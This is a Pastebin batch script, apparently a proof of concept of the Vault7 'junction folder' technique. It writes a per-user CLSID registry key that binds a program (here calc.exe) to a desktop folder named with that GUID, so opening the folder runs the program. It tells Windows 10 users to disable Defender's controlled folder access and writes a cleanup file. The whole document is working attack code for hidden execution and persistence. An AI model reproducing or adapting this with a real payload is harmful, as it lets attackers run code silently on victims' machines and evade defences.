r00t-3xp10it

Juntion_folder.bat

May 31st, 2018
413
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 1.90 KB | None | 0 0
  1. @echo off
  2. setlocal
  3. echo Juntion folder (vault7 - nsa) POC ..
  4. echo https://wikileaks.org/ciav7p1/cms/page_13763373.html
  5. echo --------------------------------------------------------
  6. echo.
  7.  
  8.  
  9. echo Please wait, gather info ..
  10. timeout /t 2 > nul
  11. echo USERNAME: %username%
  12. timeout /t 2 > nul
  13.  
  14.  
  15. for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j
  16. if "%VERSION%" == "10.0" echo VERSION : Windows 10 && echo -------------------------------------------------------- && echo Disable 'controled access to foders' in windows defender && echo -------------------------------------------------------- && pause
  17. if "%VERSION%" == "6.3" echo VERSION : Windows 8.1
  18. if "%VERSION%" == "6.2" echo VERSION : Windows 8
  19. if "%VERSION%" == "6.1" echo VERSION : Windows 7
  20. if "%VERSION%" == "6.0" echo VERSION : Windows vista
  21.  
  22.  
  23.  
  24. echo Generate and store new GUID into a local var ..
  25. timeout /t 2 > nul
  26. FOR /F %%a IN ('powershell.exe -ep -C "[guid]::NewGuid().Guid"') DO SET MY-GUID=%%a
  27. echo MY-GUID : %MY-GUID%
  28.  
  29.  
  30. echo Add hijack reg keys into registry ..
  31. timeout /t 2 > nul
  32. REG ADD HKCU\Software\Classes\CLSID\{%MY-GUID%}\Shell\Manage\Command /ve /t REG_SZ /d "%windir%\System32\calc.exe"
  33.  
  34.  
  35. echo Build folder POC in desktop ..
  36. timeout /t 2 > nul
  37. mkdir C:\Users\%username%\Desktop\POC.{%MY-GUID%}
  38.  
  39.  
  40.  
  41. echo.
  42. echo exploit completed [calc.exe associated to POC folder]..
  43. echo --------------------------------------------------------
  44. echo Trigger exploit : C:\Users\%username%\Desktop\POC
  45. echo clean file under: C:\Users\%username%\Desktop\Clean.bat
  46. echo --------------------------------------------------------
  47.  
  48.  
  49. echo REG DELETE HKCU\Software\Classes\CLSID\{%MY-GUID%} /f > C:\Users\%username%\Desktop\Clean.bat
  50. echo exit >> C:\Users\%username%\Desktop\Clean.bat
  51.  
  52.  
  53. endlocal
  54. pause
  55. cls
  56. echo.
  57. echo HINT: After running the 'Clean.bat' file the POC folder will resume normal behavior.
  58. timeout /t 5 > nul
  59. exit
Advertisement
Add Comment
Please, Sign In to add comment